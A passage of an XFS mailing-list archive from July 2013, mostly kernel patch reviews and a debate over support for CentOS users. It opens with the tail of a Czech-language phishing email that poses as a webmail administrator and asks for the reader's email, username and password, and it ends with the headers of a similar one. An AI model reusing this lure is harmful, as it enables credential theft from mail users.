X-Barracuda-Spam-Score: 2.00 X-Barracuda-Spam-Status: No, SCORE=2.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0164, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137342 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 2.00 BSF_SC3_MV0164 Custom rule MV0164 V=C3=A1=C5=BEen=C3=BD u=C5=BEivateli Va=C5=A1e e-mailov=C3=A1 velikost presahuje 2 GB, kter=C3=BD byl vytvoren n= =C3=A1=C5=A1 webmaster, je 2,30 GB pr=C3=A1ce, nemu=C5=BEete odes=C3=ADlat = nebo prij=C3=ADmat nov=C3=A9 Jakmile se zobraz=C3=AD zpr=C3=A1va, dokud nep= otvrd=C3=ADte zpr=C3=A1v. Vyplnte formul=C3=A1r pro overen=C3=AD va=C5=A1eh= o =C3=BActu. Vyplnte formul=C3=A1r n=C3=AD=C5=BEe a potvrdte e-mailov=C3=BD =C3=BAcet: (1) E-mail: (2) U=C5=BEivatelsk=C3=A9 jm=C3=A9no: (3) Heslo: (4) Potvrdit heslo: dekuji spr=C3=A1vce syst=C3=A9mu From tinguely@sgi.com Sat Jul 27 13:58:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5D5707F50 for ; Sat, 27 Jul 2013 13:58:35 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2BB09304066; Sat, 27 Jul 2013 11:58:34 -0700 (PDT) Message-ID: <51F4185A.6070700@sgi.com> Date: Sat, 27 Jul 2013 13:58:34 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 24/49] xfs: kill xfs_vnodeops.[ch] References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-25-git-send-email-david@fromorbit.com> <51F2CB91.3020801@sgi.com> <20130727015522.GU13468@dastard> In-Reply-To: <20130727015522.GU13468@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/26/13 20:55, Dave Chinner wrote: > On Fri, Jul 26, 2013 at 02:18:41PM -0500, Mark Tinguely wrote: >> On 07/19/13 01:24, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> Now we have xfs_inode.c for holding kernel-only XFS inode >>> operations, move all the inode operations from xfs_vnodeops.c to >>> this new file as it holds another set of kernel-only inode >>> operations. The name of this file traces back to the days of Irix >>> and it's vnodes which we don't have anymore. >>> >>> Essentially this move consolidates the inode locking functions >>> and a bunch of XFS inode operations into the one file. Eventually >>> the high level functions will be merged into the VFS interface >>> functions in xfs_iops.c. >>> >>> This leaves only internal preallocation, EOF block manipulation and >>> hole punching functions in vnodeops.c. Move these to xfs_bmap_util.c >>> where we are already consolidating various in-kernel physical extent >>> manipulation and querying functions. >>> >>> Signed-off-by: Dave Chinner >>> --- >> >> As already mentioned, xfs_inode_fork.c still has a unwanted include >> of now removed xfs_vnodeops.h. >> >> A xfs_qm_dqrele(pdqp) does not exist in the copied code: > > Yes, already fixed that here. It was causing test failures on > xfs/050. > > Cheers, > > Dave. Okay, then considered it: Reviewed-by: Mark Tinguely From tinguely@sgi.com Sat Jul 27 14:25:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2258F7F54 for ; Sat, 27 Jul 2013 14:25:51 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0060C304071; Sat, 27 Jul 2013 12:25:50 -0700 (PDT) Message-ID: <51F41EBE.60704@sgi.com> Date: Sat, 27 Jul 2013 14:25:50 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 18/49] xfs: split out attribute fork truncation code into separate file References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-19-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-19-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > The attribute inactivation code is not used by userspace, so like > the attribute listing, split it out into a separate file to minimise > the differences between the filesystem shared with libxfs in > userspace. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Sat Jul 27 14:48:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 48B037F59 for ; Sat, 27 Jul 2013 14:48:24 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 22744304070; Sat, 27 Jul 2013 12:48:24 -0700 (PDT) Message-ID: <51F42407.8060709@sgi.com> Date: Sat, 27 Jul 2013 14:48:23 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 19/49] xfs: split out the remote symlink handling References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-20-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-20-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > The remote symlink format definition and manipulation needs to be > shared with userspace, but the in-kernel interfaces do not. Split > the remote symlink format handling out into xfs_symlink_remote.[ch] > fo it can easily be shared with userspace. > > Signed-off-by: Dave Chinner > --- Does exactly as commit message says. Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Sat Jul 27 15:23:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 646587F58 for ; Sat, 27 Jul 2013 15:23:53 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 346508F8087; Sat, 27 Jul 2013 13:23:50 -0700 (PDT) Message-ID: <51F42C55.6000704@sgi.com> Date: Sat, 27 Jul 2013 15:23:49 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 17/49] xfs: split out attribute listing code into separate file References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-18-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-18-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > The attribute listing code is not used by userspace, so like the > directory readdir code, split it out into a separate file to > minimise the differences between the filesystem shared with libxfs > in userspace. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From jra@baylink.com Sat Jul 27 16:00:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 84C2E7F3F for ; Sat, 27 Jul 2013 16:00:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 04C47AC001 for ; Sat, 27 Jul 2013 14:00:27 -0700 (PDT) X-ASG-Debug-ID: 1374958826-04cb6c2e9d148de0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id tD6VkE6vDr5Ra1Wo for ; Sat, 27 Jul 2013 14:00:26 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 056A91F002CC for ; Sat, 27 Jul 2013 17:00:26 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id agAsJOC78Ass for ; Sat, 27 Jul 2013 17:00:21 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id CBEB41F00210 for ; Sat, 27 Jul 2013 17:00:21 -0400 (EDT) Date: Sat, 27 Jul 2013 17:00:21 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <6869770.2390.1374958821773.JavaMail.root@benjamin.baylink.com> In-Reply-To: <51F343F5.5080709@hardwarefreak.com> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [24.144.83.141] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - FF3.0 (Linux)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1374958826 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Stan Hoeppner" > On 7/26/2013 2:43 PM, Jay Ashworth wrote: > > > But to address your specific point, I don't believe that RH is going > > to > > base its opinion on what time its employees spend supporting the > > remainder > > of the FOSS ecosystem on whether the relevant distro was copied from > > theirs, > > or not -- and I will be disappointed, publicly, and vocally, if they > > do. > > On 7/26/2013 8:26 PM, Dave Chinner wrote: In a message which, for some reason, I do not see here in my list folder; (it wasn't in my inbox either; this seems a running thing) > > Disclaimer: I'm the primary RHEL XFS developer, employed by Red Hat. > > > > CentOS is a rebadged RHEL product that is released for free. If you > > want bugs fixed in CentOS, then generally you are on your own. If > > you want paid support where people will fix problems you have, you > > need to pay for RHEL. > > > > You get what you pay for. > > Jay, I'm awaiting your public and vocal disappointment. BTW, Dave has > stated this position regarding CentOS many times. I'm guessing you're > new to the XFS list (July 13 maybe) or simply missed such prior posts > if you've been lurking much longer. I am new to the list, yes. But -- and I can only reply to what you quoted here; apologies to DC if it's less than what he wrote -- I am in fact disappointed: in Dave for the strawman reply. No one, that I saw, *reported bugs or asked for support* with CentOS. The question -- and it was coming from someone who sounded like they had read their Raymond, Moen, and Tatham, was "how do I determine *which version of the XFS drivers* is in the kernel I'm running, so that I can helpfully report my problems to the list". If Dave thinks *that* question is out of bounds, then when I do my rotating reformat to recover from my recent power supply induced crash, XFS will not be the file system I pick off the pulldown menu to reformat with. As I've just had to explain to the openSUSE release configuration people over sysVinit and packaging, the policies of the developers underneath the code are *much* more important to me than the code is, or what the code does. If the implication of Dave's comment above is that he's not interested in bug reports from people who aren't paid customers of RH, I'm fine with that as well; his call. Clearly, I won't be one of those, either; my sister isn't interested in paying $1200/yr for the OS on her DVR. Perhaps I'm misinterpreting one of you. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From david@fromorbit.com Sat Jul 27 20:07:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75E157F5F for ; Sat, 27 Jul 2013 20:07:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 557D0304053 for ; Sat, 27 Jul 2013 18:07:50 -0700 (PDT) X-ASG-Debug-ID: 1374973668-04cbb02c3e157130001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id VnngBGx8iK6cSW5q for ; Sat, 27 Jul 2013 18:07:48 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqcGAEtu9FF5LPxH/2dsb2JhbABagwa5JoUygRkXdIIkAQEFOhwjEAgDFQMJJQ8FJQMhE4gPuAgWj2cHhAUDl16RTYMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 28 Jul 2013 10:37:47 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3FSa-0002ei-JE; Sun, 28 Jul 2013 11:07:44 +1000 Date: Sun, 28 Jul 2013 11:07:44 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 22/49] xfs: minor cleanups Message-ID: <20130728010744.GW13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 22/49] xfs: minor cleanups References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-23-git-send-email-david@fromorbit.com> <51F40ACA.40601@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F40ACA.40601@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374973668 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jul 27, 2013 at 01:00:42PM -0500, Mark Tinguely wrote: > On 07/19/13 01:24, Dave Chinner wrote: > >From: Dave Chinner > > > >These come from syncing the shared userspace and kernel code. Small > >whitespace and trivial cleanups. > > > >Signed-off-by: Dave Chinner > >--- > > okay, minor clean-ups > > Don't understand the change from min_t to min: > > >diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c > >index 13a0ed9..b42926a 100644 > >--- a/fs/xfs/xfs_attr_remote.c > >+++ b/fs/xfs/xfs_attr_remote.c > >@@ -251,7 +251,7 @@ xfs_attr_rmtval_copyout( > > int hdr_size = 0; > > int byte_cnt = XFS_ATTR3_RMT_BUF_SPACE(mp, XFS_LBSIZE(mp)); > > > >- byte_cnt = min_t(int, *valuelen, byte_cnt); > >+ byte_cnt = min(*valuelen, byte_cnt); min_t is only needed when the types being compared are different. I.e. it ensures the comparison is done with the appropriate casts on the items being compared. However, both variables being compared here are of the same type (int) and so the type casting of min_t is not necessary. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Jul 27 20:08:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DA53F7F5F for ; Sat, 27 Jul 2013 20:08:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BA82D8F8033 for ; Sat, 27 Jul 2013 18:08:34 -0700 (PDT) X-ASG-Debug-ID: 1374973713-04cbb02c3b1572d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id xNScWQNgSlaqYg39 for ; Sat, 27 Jul 2013 18:08:33 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqcGAEtu9FF5LPxH/2dsb2JhbABagwa5JoUygRkXdIIkAQEFOhwjEAgDFQMJJQ8FJQMhE4gPuAgWj2cHhAUDl16KIocrgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 28 Jul 2013 10:38:32 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3FTJ-0002eq-DU; Sun, 28 Jul 2013 11:08:29 +1000 Date: Sun, 28 Jul 2013 11:08:29 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 20/49] xfs: introduce xfs_sb.c for sharing with libxfs Message-ID: <20130728010829.GX13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 20/49] xfs: introduce xfs_sb.c for sharing with libxfs References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-21-git-send-email-david@fromorbit.com> <51F4093A.6070308@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F4093A.6070308@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374973713 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jul 27, 2013 at 12:54:02PM -0500, Mark Tinguely wrote: > On 07/19/13 01:24, Dave Chinner wrote: > >From: Dave Chinner > > > >xfs_mount.c is shared with userspace, but the only functions that > >are shared are to do with physical superblock manipulations. This > >means that less than 25% of the xfs_mount.c code is actually shared > >with userspace. Move all the superblock functions to xfs_sb.c and > >share that instead with libxfs. > > > >Note that this will leave all the in-core transaction related > >superblock counter modifications in xfs_mount.c as none of that is > >shared with userspace. With a few more small changes, xfs_mount.h > >won't need to be shared with userspace anymore, either. > > > >Signed-off-by: Dave Chinner > >--- > > okay, moves the user sharable functions/headers from xfs_mount.c/h to > xfs_sb.c/h > > couple comments: > > a struct xfs_mount got converted to a xfs_mount_t typedef in > xfs_initialize_perag() def in xfs_mount.h > > brackets were added to a single line if statements in > xfs_sb_quota_from_disk() I'll fix those - I missed them when doing an update. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Jul 27 20:12:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 636F77F61 for ; Sat, 27 Jul 2013 20:12:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2C716304059 for ; Sat, 27 Jul 2013 18:12:59 -0700 (PDT) X-ASG-Debug-ID: 1374973976-04bdf02f2115c830001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id N7BMRcNrZbrwVFlr for ; Sat, 27 Jul 2013 18:12:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlAOAHNv9FF5LPxH/2dsb2JhbABAGoMGNaocAo5ThTKBGRd0giQBAQU6HCMQCAMYCSUPBSUDIROIDw0zt0sWj2cHhAUDl16RTYMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 28 Jul 2013 10:42:56 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3FXb-0002fS-6V; Sun, 28 Jul 2013 11:12:55 +1000 Date: Sun, 28 Jul 2013 11:12:55 +1000 From: Dave Chinner To: Mark Tinguely Cc: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Message-ID: <20130728011255.GY13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> <20130727015822.GV13468@dastard> <51F41250.9010703@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F41250.9010703@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374973976 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Sat, Jul 27, 2013 at 01:32:48PM -0500, Mark Tinguely wrote: > On 07/26/13 20:58, Dave Chinner wrote: > >On Fri, Jul 26, 2013 at 04:06:37PM -0500, Mark Tinguely wrote: > >> > >>I can reproduce a problem in patch 44 too. It takes my copy test 20 > >>minutes to deplete the log space with patch 44, Same test with patch > >>43 has been running a day and a half. I do not think that patch 44 > >>is 100 times faster than patch 43 but I will let patch 43 spin all > >>weekend on a couple machines to verify that patch 43 does not hang. > > > >Details, please. What's your "copy test"? > > > >http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > > >Cheers, > > > >Dave. > > Micheal found the problem using a simple copy, so I am using copy-like test. > > I have hung patch 44 with fsstress but I am currently using the > simple perl scripts from bugzilla bug 922, but I do not do the silly > step of reducing the log to an abnormal amount. > > Just mkfs the filesystem > > Create the the test files. the creation script: > http://oss.sgi.com/bugzilla/attachment.cgi?id=304 > > Run the test script: > http://oss.sgi.com/bugzilla/attachment.cgi?id=305 > ---- > This test seems to stress the log much like xfstest 273 only it runs > forever. Ok, thanks, for the info, Mark. I'll try to reproduce it here. FWIW, we should probably add this to xfstests as a "stress" test. i.e. not part of the auto group, but something that uses the scale parameters to determine runtime. then add all the other tests that have scale parameters to the same group, and if we run ./check --stress it runs through all the stress tests with that given scale factor... Cheers, Dave. -- Dave Chinner david@fromorbit.com From info@webmail.sk Sat Jul 27 20:24:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.4 required=5.0 tests=DATE_IN_PAST_03_06 autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 095107F67 for ; Sat, 27 Jul 2013 20:24:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 96896AC002 for ; Sat, 27 Jul 2013 18:24:31 -0700 (PDT) X-ASG-Debug-ID: 1374974664-04cb6c2e9f157180001-w1Z2WR Received: from paulus.frcth.uniba.sk (cmbf02.frcth.uniba.sk [158.195.72.2]) by cuda.sgi.com with ESMTP id FST9AeBhmF8w4sdS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 27 Jul 2013 18:24:25 -0700 (PDT) X-Barracuda-Envelope-From: info@webmail.sk X-Barracuda-Apparent-Source-IP: 158.195.72.2 Received: from frcth.uniba.sk (paulus.frcth.uniba.sk [127.0.0.1]) by paulus.frcth.uniba.sk (Postfix) with ESMTP id 3529E536263; Sun, 28 Jul 2013 00:15:17 +0200 (CEST) From: "=?ISO-8859-2?Q?webmail_aktualiz=E1c?=ia 2013" Reply-To: info@webmail.com Subject: =?ISO-8859-2?Q?V=E1=BEen=ED_E?=-=?ISO-8859-2?Q?mail_u=BE=EDvate=B5a?=; Date: Sun, 28 Jul 2013 00:15:17 +0200 X-ASG-Orig-Subj: =?ISO-8859-2?Q?V=E1=BEen=ED_E?=-=?ISO-8859-2?Q?mail_u=BE=EDvate=B5a?=; Message-Id: <20130727221340.M35634@webmail.sk> X-Mailer: OpenWebMail 2.53 X-OriginatingIP: 41.71.148.140 (augustin) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 To: undisclosed-recipients:; X-RKCMBF-MailScanner-Information: Please contact the ISP for more information X-RKCMBF-MailScanner-ID: 3529E536263.70528 X-RKCMBF-MailScanner: Found to be clean X-RKCMBF-MailScanner-SpamCheck: not spam, SpamAssassin (cached, score=-2.9, required 3, autolearn=not spam, ALL_TRUSTED -1.00, BAYES_00 -1.90) X-RKCMBF-MailScanner-From: info@webmail.sk X-Barracuda-Connect: cmbf02.frcth.uniba.sk[158.195.72.2] X-Barracuda-Start-Time: 1374974665 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 